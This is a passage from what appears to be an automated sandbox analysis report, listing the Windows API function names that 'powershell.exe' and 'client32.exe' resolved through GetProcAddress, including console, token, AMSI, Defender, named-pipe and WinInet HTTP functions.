"GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountName (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountNameW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter StgOpenStorage (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter _create_locale (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter _free_locale (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter _wcstod_l (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CreateDirectory (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CreateDirectoryW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCP (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCPW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfo (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfoW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CoInternetCreateSecurityManager (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CreateAssemblyNameObject (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CreateAssemblyNameObjectW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CoGetObjectContext (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CreateAssemblyEnum (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CreateAssemblyEnumW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter ReadConsoleOutput (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter ReadConsoleOutputW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleOutput (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleOutputW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SetFileTime (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter FormatMessage (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter ShellExecuteEx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter ShellExecuteExW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter RegSetValueEx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00007184) "client32.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter SymGetLineFromAddr (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter SymGetLineFromName (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter SymGetLineNext (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter SymGetLinePrev (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter SymMatchFileName (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter StackWalk (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter SymCleanup (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter SymLoadModule (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter SymInitialize (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter SymGetOptions (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter SymSetOptions (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter SymGetModuleInfo (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter SymGetSymFromAddr (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter SymFunctionTableAccess (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter MiniDumpWriteDump (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter GetProductInfo (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter GetUserDefaultUILanguage (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter SetupDiGetClassDevsA (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter SetupDiEnumDeviceInterfaces (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter SetupDiDestroyDeviceInfoList (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ProcessIdToSessionId (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_version (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_installed (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_netname (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_remotename (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_bridgename (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_networks (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_pingnet (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_open (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_close (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_findslaves (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_getsession (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_call (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_hangup (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_nsessions (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_connected (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_send (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_sendex (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_sendif (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_sendto (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_subset (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_pause (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_helpreq (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_maxpacket (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_openremote (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_closeremote (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_callremote (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_myaddr (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_loadbridge (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_getfailedreason (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_escape (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_publishservice (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_publishserviceex (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_findslavesex (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_broadcastdata (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_sendname (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_getlocalipaddressinuse (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_clientpinrequest (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_controlsendpin (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_controlpinrequest (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_clearpin (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_getcodepage (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ctl_getconnectivityinfo (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter GetModuleFileNameExA (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter SetProcessDPIAware (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter QueueUserWorkItem (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter WTSRegisterSessionNotification (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter WTSEnumerateSessionsA (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter WTSGetActiveConsoleSessionId (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter VerSetConditionMask (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter VerifyVersionInfoA (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter WTSFreeMemory (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter GetAdaptersInfo (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter GetShellWindow (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter GetProcessImageFileNameA (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter SHGetSettings (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter Wow64DisableWow64FsRedirection (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter Wow64RevertWow64FsRedirection (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter EnumDisplayDevicesA (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptorA (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter InternetOpenA (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter InternetConnectA (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter HttpOpenRequestA (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter HttpSendRequestA (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter HttpQueryInfoA (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter InternetQueryDataAvailable (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter InternetReadFile (UID: 